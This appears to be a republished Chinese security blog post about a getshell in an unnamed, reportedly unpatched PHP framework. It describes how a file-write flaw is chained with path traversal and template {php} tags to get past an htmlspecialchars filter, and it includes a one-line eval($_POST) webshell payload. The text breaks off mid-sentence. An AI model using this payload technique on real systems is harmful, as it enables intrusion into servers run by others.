漏扫经验 | 记一次曲折的Getshell过程

最近在挖某框架的漏洞,其中挖到一枚Getshell,挖的过程有点曲折感觉可以写篇文章总结一下,方便与各位大牛交流交流。

因为此框架有大量用户,并且此漏洞并未修复,故此隐去所有有关此框架的信息,连文章中出现的代码都是我自己另写的,重在思路,希望大家理解。

首先通过审计定位到可能导致漏洞的代码(路径:/edit/creat.php):


    $file = $_GP['file'];
    $viewFile = './setting/' . $file;
    if (!file_exists($viewFile)) {
        mkdirs(dirname($viewFile));
        file_put_contents($viewFile, '<!-- SETTING URL:setting /' . $file . ' -->');
    }

其中 $GP 是合并 $GET 和 $_POST 的变量。

可以看到写入的文件路径和写入的部分内容都是可控的,看到这里不禁露出了一丝笑容,没想到一枚 getshell 如此轻松。

好吧,先测试一下,把$file的值设置为:

<?php echo 1111; ?>.php

post 到 /index.php? control=edit&action=creat

(此框架是单入口)

漏扫经验 | 记一次曲折的Getshell过程

预计生成的文件内容是:

<!-- SETTING URL:setting/<?php echo 1111;?>.php -->

好了,那访问一下生成的文件,URL:

http://test.com/edit/setting/%3C%3Fphp%20echo%201111%3B%20%3F%3E.php

右键查看一下源码,发现输出的内容是:

<!-- SETTING URL:setting/&lt;?php echo 1111;?&gt;.php -->

居然被过滤了? 回溯之前的代码,在 index.php 文件中发现代码:


    $_GP= array_merge($_GET, $_POST);
    $_GP = htmlEncode($_GP);
    $control = $_GP['control'];
    $action = $_GP['action'];
    $controls = array('basic', 'edit');
    $actions = array('index', 'creat');
    if (in_array($control, $controls) &&in_array($action, $actions)) {
        $file ="./$control/$action.php";
        include $file;
    } else {
        echo 'error';
    }

关键在开始的两行代码上,htmlEncode ? 搜索这个函数,找到这个函数的代码如下:


function htmlEncode($var) {
   if (is_array($var)) {
       foreach ($var as $key => $value) {
            $var[htmlspecialchars($key)] =htmlEncode($value);
       }
   } else {
       $var = str_replace('&amp;', '&', htmlspecialchars($var,ENT_QUOTES));
   }
   return $var;
}

结合起来,就是对 post 和 get 获取到的所有内容进行htmlspecialchars,所以才会出现上面所看到的尖括号被过滤的情况。

看到这里,脸上的笑容都消失了,哎呀,果然没那么容易。尖括号过滤了,那就没办法写入PHP 代码的解析标签了,想不到什么突破的办法,难道就这样放弃么?开始犯愁…

一直想着:过滤了尖括号怎么办?过滤了尖括号怎么办?过滤了尖括号怎么办……

那我能不能不用尖括号呢?不用尖括号能不能解析?要怎么才能解析?想到这里,突然就想到模板!这个框架的模板和大多数 MVC 的模板一样,使用大括号作为标记:


function view($var) {
        /*
            这里一系列的处理就不写了
            过程就是对模板中出现的伪代码进行处理
            这些做过 Web MVC 开发的都知道
 
            而伪代码的格式与常见的格式一样,用大括号把变量括起来,比如:{$var}
            当然还有一些 {if $var==xx}、{loop $var as $value} 等等这些
 
            其实这些处理的目的就是生成 PHP 可解析的代码
        */
        //假设解析后的代码文件存放在一个 tmp 目录里,而目录的路径赋值给了 $viewFile 变量
        include $viewFile;
}

这样就可以使用模板的标记 {} 来绕过尖括号 <> 的过滤,但是根据这个框架的路由协定,模板不能随便被包含,所以只能覆盖原有的模板。

按照这个思路,找一个有加载模板的功能,覆盖加载的模板,覆盖之后访问了就可以解析了。按照这个思路,找到一个加载了模板的功能,URL是:

/index.php? control=basic&action=index

代码路径在/basic/index.php,代码最后就有调用 view(‘index’);

加载的模板路径在:

/themes/basic/index.html

按照这些信息,应该构造 $file 的值为:

../../themes/basic/index.html

但是这样又有一个问题了,虽然构造这样的值可以覆盖原有的模板文件,但是写入的文件内容就是:

<!-- SETTING URL:setting/../../themes/basic/index.html-->

这样的话就没有写入需要的 Webshell 了,怎么办呢?!

根据 URL 的特性,./1.php 和 ./test/../1.php 访问的内容是一样的,都是 1.php 这个文件,但是 test 这个目录名我是可以随便写的,再根据模板伪代码的格式构造一个控制 $file 的测试 POC:

../../{php echo 1111;}/../themes/basic/index.html

(根据 view() 函数的代码,有一个{php }伪代码标签,处理的时候会替换为 <?php >。其实就算是没有这标签也可以用其他非组合的标签代替)

漏扫经验 | 记一次曲折的Getshell过程

生成的文件内容为:

<!-- SETTING URL:setting/../../{php echo1111;}/../themes/basic/index.html -->

访问 URL:

/index.php? control=basic&action=index

右键查看源码,输出的内容为:

<!-- SETTING URL:setting/../../1111/../themes/basic/index.html -->

证明代码执行了,那构造一个包含一句话的 POC,按照上一个 POC 的思路,应该把 file 的值构造为:

../../{phpeval($_POST['w']);}/../themes/basic/index.html

但是访问

原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/54963.html

(0)
上一篇 2021年8月7日
下一篇 2021年8月7日

相关推荐

发表回复

登录后才能评论